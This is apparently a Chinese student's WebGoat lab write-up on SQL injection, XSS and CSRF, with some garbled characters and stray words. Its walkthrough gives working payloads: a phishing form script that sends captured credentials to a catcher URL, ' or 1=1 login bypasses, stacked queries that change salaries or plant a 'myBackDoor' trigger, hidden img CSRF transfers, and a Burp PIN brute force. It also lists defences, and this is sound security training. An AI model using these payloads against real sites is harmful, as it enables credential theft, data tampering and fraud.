此次实验在WebGoat里作了SQL注入的10个相关实践,从上周学习的简单经过文本框中输入字符串构造SQL语句进行SQL注入到在文本框中提交文本或者发送邮件作XSS攻击,还有利用;邮件发送含有恶意URL请求的HTML对象来利用用户的COOKIE作非法操做javascript
- 原理:SQL注入攻击指的是经过构建特殊的输入做为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,经过执行SQL语句进而执行攻击者所要的操做,使非法数据侵入系统。 - 防护: 1.对用户的输入进行校验,能够经过正则表达式,双"-"进行转换等。 2.不要使用动态拼装sql,可使用参数化的sql或者直接使用存储过程进行数据查询存取。 3.不要使用管理员权限的数据库链接,为每一个应用使用单独的权限有限的数据库链接。 4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。 5.应用的异常信息应该给出尽量少的提示。 6.采起辅助软件或网站平台来检测sql注入。
- 原理:XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者能够利用XSS漏洞旁路掉访问控制。 - 防护: 1.特征匹配方式,在全部提交的信息中都进行匹配检查,通常会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。 2.对全部用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其余的一概过滤。 3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
java -jar webgoat-container-7.0.1-war-exec.jar
localhost:8080/WebGoat
,登陆</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
code
框中输入```alert("I am 20155207")题目要求:要建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容。title
里随便输入,而后在message
中输入一串代码,好比:<script>alert("5207!");</script>
提交后,再次点击刚刚建立的帖子,成功弹出窗口,说明攻击成功station
字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station]
,要得到全部的天气数据,就在station
中的任意一个值后面加入一个1=1
,因为1=1
为永真式,选择所修改的value
所指向的城市,就能够获得全部的天气。题目要求:使用字符串SQL注入在没有正确密码的状况下登陆帐号boss。java
在密码栏中输入' or 1=1
--进行SQL注入
,可是登陆失败。web
查看源代码,去掉对输入长度的限制,登陆成功。正则表达式
larry
,浏览其BOSS
的帐户信息。首先咱们用上一题的办法登陆Larry
的帐号!在密码框里输入' or 1=1 --
,登陆后发现咱们只能看见Larry
一我的的工资信息。ViewProfile.
在网页代码中分析一下这个按钮,发现这个地方是以员工ID
做为索引传递参数的,咱们要达到经过Larry
来浏览老板帐户信息的目的,把其中的value
值改成101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:这个表单容许使用者查询他们的信用卡号,使用SQL注入
让全部的信用卡号都看得见。sql
咱们构造一个永真式“1”,那么无论前面的WHERE
是否成立都能执行,因此构造语句'or 1='1
,成功获得了所有的信用卡号。数据库
pins
表中值pin
的内容,行号cc_number=1111222233334444
,是一个int型
的数据。BurpSuite
进行拦截,拦截后action--send to intruder
进行暴力破解,使用sniper模式
,选择10000
进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。能够发现2364
的报文长度明显和其余不同,那这个值就应该就是2364:101; update employee set salary=10000
成功将该用户的工资变成10000
,攻击成功:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155207@hackme.com' WHERE userid = NEW.userid
<img src='attack?Screen=278&menu=900&transFunds=100000' width='1', height='1'>
,其中scr=278,menu=900
,点击就会执行<img src='attack?Screen=268&menu=900&transFunds=CONFIRM' width='1', height='1'>